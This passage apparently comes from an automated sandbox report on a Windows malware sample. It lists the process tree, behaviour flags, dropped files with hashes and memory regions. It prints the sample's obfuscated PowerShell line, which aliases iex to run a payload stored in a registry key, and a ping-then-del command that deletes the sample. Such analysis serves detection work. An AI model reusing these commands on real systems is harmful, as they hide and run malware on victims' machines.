C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name qerker -value gp; new-alias -name esllwy -value iex; esllwy ([System.Text.Encoding]::ASCII.GetString((qerker "HKCU:Software\AppDataLow\Software\Microsoft\304F83E1-CF18-E2AF-D964-73361DD857CA").ClassDocument))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\etdkvfcc\etdkvfcc.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:416 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE0BB.tmp" "c:\Users\Admin\AppData\Local\Temp\etdkvfcc\CSC5700BADABF214214B08C7B6D5DB9CCB9.TMP"5⤵PID:4960
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jm4ym2yx\jm4ym2yx.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE1D4.tmp" "c:\Users\Admin\AppData\Local\Temp\jm4ym2yx\CSCD07C7CBD8E844DAA93DD26337B7BD2B5.TMP"5⤵PID:1852
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\9872c3c580e8bd1a22cd4698e73e3f9a.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:5084 -
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:5076 -
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵PID:380
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:2984
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2992 -ip 29921⤵PID:5108
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\RESE0BB.tmpFilesize
1KB
MD52ced1145ce0c1ed2a49188a0bf2a1a7d
SHA149fc52d15a23135162ae9933ffc74a82494f0988
SHA25601dec4b1a2ae54c9c13b11e60f89a4801b6070dac5ea4b5b434a7526bbda35b2
SHA512a70671b00258da6f5d9560a7dbbf6c4811665826bafd0915ec2c859b09f2afba9bcdd7dcf148e0353bb9c834a5e0c9be21b6eb01535758a9c42d6bf1218c25e2
-
C:\Users\Admin\AppData\Local\Temp\RESE1D4.tmpFilesize
1KB
MD59d57290d92212f2b9d22e86bd2e83713
SHA14a685d528466f0a026125c4c65b3f3961d095c40
SHA256dc7bf5ff5939170f08b3633daf9238f0eaa6fb6dc4a3917a0a7154e4d9f6e5da
SHA51289a3d8a291cdae63605a9fd2b514a4c9e58e01276198f75e081fb6746b049d25d818c41e4ce48143c0cbfb10b4683dfca180454328f43143cda4af78701c2a79
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dsldsdqv.dyi.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\etdkvfcc\etdkvfcc.dllFilesize
3KB
MD58220644886fa988622bde9a780a5eaa2
SHA17b1d1791e216085b902a9bc59f30fb3afbcda594
SHA25674c3a20b45b27564d0d645f90e90a2efec124b4dca6f3505365b5e8aea5c5934
SHA5129d34b2dbcbba6a755152d956fdc946fabc9fafb380510a9cd8437cde349058c02ad42e732321b960d550fb8b95168cb898dbfaf387b315ae37ace216e1674a0b
-
C:\Users\Admin\AppData\Local\Temp\jm4ym2yx\jm4ym2yx.dllFilesize
3KB
MD5c743094d8adb06bfc6db63344a6afceb
SHA12979bbb4fee2f28c8be126791de38c0e831b7744
SHA256b87e7d151077c5c9ab1292d4ecad15dc0022b1f0f582fc23a1a07281e24fcdc8
SHA5127495e6556b1b8af725785c941f40e8a08b0195d1800e554b32a4746251531669ca3a864826ba793e2ee1f1e2d957b3c07b42f6b89f5ba78ba9cfe54f09ca73e7
-
\??\c:\Users\Admin\AppData\Local\Temp\etdkvfcc\CSC5700BADABF214214B08C7B6D5DB9CCB9.TMPFilesize
652B
MD5b61356760ab5c035fcea2840642c071d
SHA1c8e30c9569b3622ec323ff1583fed96a2049bfd8
SHA256e18ac2f7043b8b44f44a2b38e63c1f6d03a9770fb90b4da503eff761e78c1651
SHA51294d571c367ee92a10d591b9debb02052f51d82e9fb124f087a6115159e5509ce3a048f7e35b125799408b3fae74fea627aa6367e47db0076db38b2159631b095
-
\??\c:\Users\Admin\AppData\Local\Temp\etdkvfcc\etdkvfcc.0.csFilesize
405B
MD5caed0b2e2cebaecd1db50994e0c15272
SHA15dfac9382598e0ad2e700de4f833de155c9c65fa
SHA25621210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150
SHA51286dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62
-
\??\c:\Users\Admin\AppData\Local\Temp\etdkvfcc\etdkvfcc.cmdlineFilesize
369B
MD5a6c36cd3b572159a09503636aba83297
SHA160c80a5f952c51d3a1cfed54e304930a7e8c988c
SHA25634e9d373913df6e0e249108ece0346ad80a53febb2bf90bfc5f254f8b8af68e3
SHA512c85593d2e107a8f319119d1027a1b7b2cc57bee5ef2f426f9590d0e698c98d75c91241f2585ed1528b592eaa1eed7083d79073aadec8a30b7e438ec250b11f78
-
\??\c:\Users\Admin\AppData\Local\Temp\jm4ym2yx\CSCD07C7CBD8E844DAA93DD26337B7BD2B5.TMPFilesize
652B
MD5e8ac7f8a989faaaa090c2d26c80a7e79
SHA17e32332644d18846137f78a9e106127ce57d5baa
SHA256e7b09cdee7677adc538293ba2e915ec8ce69b5323cd4557c0f02ab5ee7f37a1f
SHA512cfbd979d63733f00c03e431f3299ef531f82407dc64e77a75f86102f3c0c3c138f44f667780e736f001b60c4c5655de065ed9aac2f8201f84a2d49b8831bebc4
-
\??\c:\Users\Admin\AppData\Local\Temp\jm4ym2yx\jm4ym2yx.0.csFilesize
406B
MD5ca8887eacd573690830f71efaf282712
SHA10acd4f49fc8cf6372950792402ec3aeb68569ef8
SHA256568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3
SHA5122a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7
-
\??\c:\Users\Admin\AppData\Local\Temp\jm4ym2yx\jm4ym2yx.cmdlineFilesize
369B
MD56edd657c20baafc4bacaa0b08e1c483a
SHA11efd92f2fb08b7765fce708ffec8925e8b83336d
SHA2560ce3aad020215f528450c33d39911ff4d698fa085862ebfde33bff6c0e78a61e
SHA5120a4dccb8df59b5489075ef487e9f94bb792b47c69171a8dfa3cf7e8d63b340ce8f2b5ef08ff6a66a677c2abe1e5f3a38f51b34b9a94c371def93080a15b399ce
-
memory/380-106-0x0000000000BF0000-0x0000000000BF1000-memory.dmpFilesize
4KB
-
memory/380-102-0x0000000000EE0000-0x0000000000F78000-memory.dmpFilesize
608KB
-
memory/380-114-0x0000000000EE0000-0x0000000000F78000-memory.dmpFilesize
608KB
-
memory/1884-117-0x000001A886010000-0x000001A8860B4000-memory.dmpFilesize
656KB
-
memory/1884-84-0x000001A8857B0000-0x000001A8857B1000-memory.dmpFilesize
4KB
-
memory/1884-83-0x000001A886010000-0x000001A8860B4000-memory.dmpFilesize
656KB
-
memory/2984-90-0x000002779E320000-0x000002779E321000-memory.dmpFilesize
4KB
-
memory/2984-120-0x000002779E840000-0x000002779E8E4000-memory.dmpFilesize
656KB
-
memory/2984-89-0x000002779E840000-0x000002779E8E4000-memory.dmpFilesize
656KB
-
memory/2992-1-0x00000000024A0000-0x00000000025A0000-memory.dmpFilesize
1024KB
-
memory/2992-10-0x0000000000400000-0x000000000228F000-memory.dmpFilesize
30.6MB
-
memory/2992-7-0x0000000003FF0000-0x0000000003FFD000-memory.dmpFilesize
52KB
-
memory/2992-6-0x0000000003FD0000-0x0000000003FDB000-memory.dmpFilesize
44KB
-
memory/2992-4-0x00000000024A0000-0x00000000025A0000-memory.dmpFilesize
1024KB
-
memory/2992-3-0x0000000000400000-0x000000000228F000-memory.dmpFilesize
30.6MB
-
memory/2992-2-0x0000000003FD0000-0x0000000003FDB000-memory.dmpFilesize
44KB
-
memory/3156-57-0x00000000089A0000-0x0000000008A44000-memory.dmpFilesize
656KB
-
memory/3156-97-0x00000000089A0000-0x0000000008A44000-memory.dmpFilesize
656KB
-
memory/3156-58-0x0000000002620000-0x0000000002621000-memory.dmpFilesize
4KB
-
memory/3732-71-0x0000017EA5100000-0x0000017EA51A4000-memory.dmpFilesize
656KB
-
memory/3732-72-0x0000017EA4F80000-0x0000017EA4F81000-memory.dmpFilesize
4KB
-
memory/3732-103-0x0000017EA5100000-0x0000017EA51A4000-memory.dmpFilesize
656KB
-
memory/3964-116-0x0000022BE7610000-0x0000022BE76B4000-memory.dmpFilesize
656KB
-
memory/3964-77-0x0000022BE7610000-0x0000022BE76B4000-memory.dmpFilesize
656KB
-
memory/3964-78-0x0000022BE6C50000-0x0000022BE6C51000-memory.dmpFilesize
4KB
-
memory/4068-24-0x00000208E8260000-0x00000208E8270000-memory.dmpFilesize
64KB
-
memory/4068-68-0x00007FFFD80A0000-0x00007FFFD8B61000-memory.dmpFilesize
10.8MB
-
memory/4068-53-0x00000208E86A0000-0x00000208E86A8000-memory.dmpFilesize
32KB
-
memory/4068-18-0x00000208E8210000-0x00000208E8232000-memory.dmpFilesize
136KB
-
memory/4068-23-0x00007FFFD80A0000-0x00007FFFD8B61000-memory.dmpFilesize
10.8MB
-
memory/4068-26-0x00000208E8260000-0x00000208E8270000-memory.dmpFilesize
64KB
-
memory/4068-55-0x00000208E86B0000-0x00000208E86ED000-memory.dmpFilesize
244KB
-
memory/4068-25-0x00000208E8260000-0x00000208E8270000-memory.dmpFilesize
64KB
-
memory/4068-69-0x00000208E86B0000-0x00000208E86ED000-memory.dmpFilesize
244KB
-
memory/4068-39-0x00000208E8250000-0x00000208E8258000-memory.dmpFilesize
32KB
-
memory/5076-111-0x0000027DB0C10000-0x0000027DB0C11000-memory.dmpFilesize
4KB
-
memory/5076-109-0x0000027DB0A60000-0x0000027DB0B04000-memory.dmpFilesize
656KB
-
memory/5076-118-0x0000027DB0A60000-0x0000027DB0B04000-memory.dmpFilesize
656KB
-
memory/5084-99-0x000002622CC90000-0x000002622CC91000-memory.dmpFilesize
4KB
-
memory/5084-119-0x000002622CE10000-0x000002622CEB4000-memory.dmpFilesize
656KB
-
memory/5084-96-0x000002622CE10000-0x000002622CEB4000-memory.dmpFilesize
656KB